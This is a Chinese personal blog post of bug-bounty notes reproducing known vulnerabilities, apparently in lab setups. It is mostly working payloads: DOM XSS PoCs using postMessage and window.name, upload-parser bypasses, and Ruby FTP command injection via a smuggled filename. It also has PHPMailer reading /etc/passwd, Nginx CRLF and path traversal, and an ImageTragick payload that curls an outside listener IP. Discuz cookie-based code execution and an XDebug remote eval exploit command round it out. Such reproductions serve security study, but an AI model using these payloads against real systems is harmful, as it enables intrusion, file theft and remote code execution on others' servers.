Hexo

  • 首页

  • 归档

src漏洞挖掘和绕过姿势

发表于 2019-08-03 更新于 2019-08-15

DOMXSS学习

1、postMessage

postMessage 支持跨域使用,使用场景比较广泛,如支付成功、登录、退出、唤起
APP等等。

漏洞代码

1
2
3
4
5
window.addEventListener('message',function(e){
document.write(e.data.command);
eval(e.data);

});

poc:

1
2
3
4
5
6
7
8
9
10
11
<div>
<div id="color">Frame Color</div>
</div>
<div>
<iframe id="child" src="http://139.196.143.238:81" ></iframe>
</div>
<script>
window.onload=function(){
window[0].postMessage('alert(1)','*');
}
</script>

1565675145212

2、window.name

window.name 与其他 window 对象不同,它在窗口刷新后会保留。

漏洞代码:

eval(window.name);

poc:

1
2
3
4
5
6
7
8
9
10
11
12
<div>
<div id="color">Frame Color</div>
</div>
<div>
<iframe id="child" src="http://139.196.143.238:81" ></iframe>
</div>
<script>
window.onload=function(){
window.name="\x61lert(2)";
window.location="http://139.196.143.238:81";
}
</script>

1565675207423

上传php绕过:

1.php.xxx

利用 CVE-2017-15715,上传一个包含换行符的文件。注意,只能是\x0A,不能是\x0D\x0A,所以我们用 hex 功能在 1.php 后面添加一个\x0A

参考 https://blog.kieng.cn/2019/01/31/468/

我们无法上传PHP后缀的文件,需要利用CVE-2013-4547我们上传一个。1.gif ,注意后面的空格,http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php`,即可发现PHP已被解析:

参考 https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2013-4547

上传 shell.shtml 内容 可以实现rce

参考 https://github.com/vulhub/vulhub/tree/master/httpd/ssi-rce

Nginx的解析漏洞复现

上传一个普通文件如1.png 然后访问/1.png/.php 会解析php文件

参考 https://github.com/vulhub/vulhub/tree/master/nginx/nginx_parsing_vulnerability

  • 新建一个名为“test.asp”的目录,该目录下的任何文件都作为asp程序执行(特殊符号是”/“)
  • 上传名为“test.asp;.jpg”的文件,虽然该文件真正的后缀名是”.jpg”,但由于含有特殊符号“;”,仍然会被IIS作为asp程序执行。

总结参考 http://dvsx.cn/2019/07/20/wen-jian-shang-chuan-rao-guo-zi-shi-zong-jie/

Flask(Jinja2)服务端模板注入漏洞

http://your-ip/?name=54289

参数name注入代码通过服务器实行代码注入

参考 https://xz.aliyun.com/t/3679

Ruby Net :: FTP模块命令注入漏洞(CVE-2017-17405)

Ruby Net :: FTP模块是一个FTP客户端,在上传和下载文件的过程中,打开本地文件时使用了open函数。而在ruby中,open函数是借用系统命令来打开文件,且没用过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。

1
2
3
在当前目录下启动一个ftp服务器,默认监听在`0.0.0.0:2121`端口

python3 -m pyftpdlib -p 2121 -i 0.0.0.0

1564994657945

注入命令|touch${IFS}success.txt(空格用代替${IFS},原因不表)

发送请求 http://139.196.143.238:7050//download?uri=ftp://139.196.143.238:2121/&file=|touch${IFS}success.txt

1564995092446

PHPMailer任意文件读取漏洞(CVE-2017-5223)

PHPMailer在发送邮件的过程中,会在邮件内容中寻找图片标签(<img src="...">),并将其src属性的值提取出来作为附件。所以,如果我们能控制部分邮件内容,可以利用<img src="/etc/passwd">将文件/etc/passwd作为附件读取出来,造成任意文件读取漏洞。

img

Nginx 配置错误导致漏洞

1. CRLF注入漏洞

Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。

Payload: http://your-ip:8080/%0a%0dSet-Cookie:%20a=1,可注入Set-Cookie头。

2. 目录穿越漏洞

Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。

1565143730770

Payload: http://139.196.143.238:8081/files../ ,成功穿越到根目录:

1565143782172

Imagetragick 命令执行漏洞(CVE-2016–3714)

1
ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。

ImageMagick 之所以支持那么多的文件格式, 是因为它内置了非常多的图像处理库, 对于这些图像处理库, ImageMagick 给它起了个名字叫做”Delegate”(委托), 每个 Delegate 对应一种格式的文件, 然后通过系统的 system() 命令来调用外部的 lib 进行处理。调用外部 lib 的过程是使用系统的 system 命令来执行的,导致命令执行的代码

发送请求 http://139.196.143.238/demo.php

或者 convert vul.jpg 2.jpg

1565501574288

payload:

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|curl "http://139.196.143.238:8878)'
pop graphic-context

发送如下数据包:

1565501620485

或者直接上传poc图片

1565531477916

服务器上监听:

1565501653128

Discuz 7.x / 6.x全局变量防御绕过导致代码执行

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。

直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

1565579529964

1565579539040

XDebug远程调试漏洞(代码执行)

XDebug的是PHP的一个扩展,用于调试PHP代码如果目标开启了远程调试模式,并设置。remote_connect_back = 1:

1
2
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

这个配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug的将会连接访问者的IP(或X-Forwarded-For头指定的地址),并通过dbgp协议与其通信,我们通过dbgp中提供的的eval方法即可在目标服务器上执行任意PHP代码。

1
python3 exp.py -t http://127.0.0.1:8080/index.php -c 'shell_exec('id');'

1565619202894

spring框架cve复现
cve框架漏洞复现和实现自动化扫描器
  • 文章目录
  • 站点概览

GD

a GOOD pwner
14 日志
  1. 1. DOMXSS学习
    1. 1.1. 1、postMessage
    2. 1.2. 2、window.name
  2. 2. 上传php绕过:
    1. 2.0.0.0.1. Nginx的解析漏洞复现
  • 3. Flask(Jinja2)服务端模板注入漏洞
  • 4. Ruby Net :: FTP模块命令注入漏洞(CVE-2017-17405)
  • 5. PHPMailer任意文件读取漏洞(CVE-2017-5223)
  • 6. Nginx 配置错误导致漏洞
    1. 6.1. 1. CRLF注入漏洞
    2. 6.2. 2. 目录穿越漏洞
  • 7. Imagetragick 命令执行漏洞(CVE-2016–3714)
  • 8. Discuz 7.x / 6.x全局变量防御绕过导致代码执行
  • 9. XDebug远程调试漏洞(代码执行)
  • © 2019 GD
    由 Hexo 强力驱动 v3.7.1
    |
    主题 – NexT.Muse v7.3.0